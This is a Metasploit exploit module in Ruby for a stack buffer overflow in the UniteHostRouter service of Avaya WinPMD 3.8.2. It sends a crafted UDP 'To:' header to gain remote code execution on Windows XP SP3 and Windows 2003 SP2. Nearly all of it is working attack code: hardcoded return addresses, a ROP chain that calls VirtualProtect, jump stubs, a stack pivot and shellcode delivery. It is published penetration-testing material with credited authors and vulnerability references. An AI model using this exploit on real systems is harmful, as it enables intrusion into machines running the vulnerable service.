141 lines
4.8 KiB
Ruby
141 lines
4.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
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exists in the UniteHostRouter service, due to the insecure usage of memcpy when
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parsing specially crafted "To:" headers. The module has been tested successfully on
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Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
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},
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'Author' =>
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[
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'Abdul-Aziz Hariri', # Vulnerability discovery
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'Abysssec', # PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['OSVDB', '82764'],
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['OSVDB', '73269'],
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['BID', '47947'],
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['EDB', '18397'],
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['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
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['URL', 'http://secunia.com/advisories/44062']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
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'Space' => 1024,
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Avaya WinPMD 3.8.2 / Windows XP SP3',
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{
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'Offset' => 260,
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'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
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}
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],
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['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
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{
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'Offset' => 260,
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'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 23 2011',
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'DefaultTarget' => 0
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))
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register_options([ Opt::RPORT(3217) ], self.class)
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V")[0].to_i
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end
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def nop
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return make_nops(4).unpack("V")[0].to_i
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end
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def exploit
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connect_udp
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if target.name =~ /Windows XP SP3/
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buf = "\xeb\x7f" # jmp short $+0x81
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buf << rand_text(0x81 - 2)
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buf << "\xeb\x7f" # jmp short $+0x81
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buf << rand_text(0x81 - 2)
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buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
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buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
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buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
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buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
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buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
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elsif target.name =~ /Windows 2003 SP2/
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rop_gadgets =
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[
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0x77bb2563, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bb2563, # POP EAX # RETN
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0x03C0990F,
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0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bb2563, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bb2563, # POP EAX # RETN
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nop,
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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buf = rand_text(3) # padding
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buf << rop_gadgets
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buf << "\xeb\x7f" # jmp $+0x81
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buf << rand_text(0x81-2)
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buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
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buf << rand_text(target['Offset'] - buf.length)
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buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
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end
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request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
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if target.name =~ /Windows 2003 SP2/
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request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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end
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request << payload.encoded # The shellcode will be stored in the heap
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print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
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udp_sock.put(request)
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disconnect_udp
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end
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end
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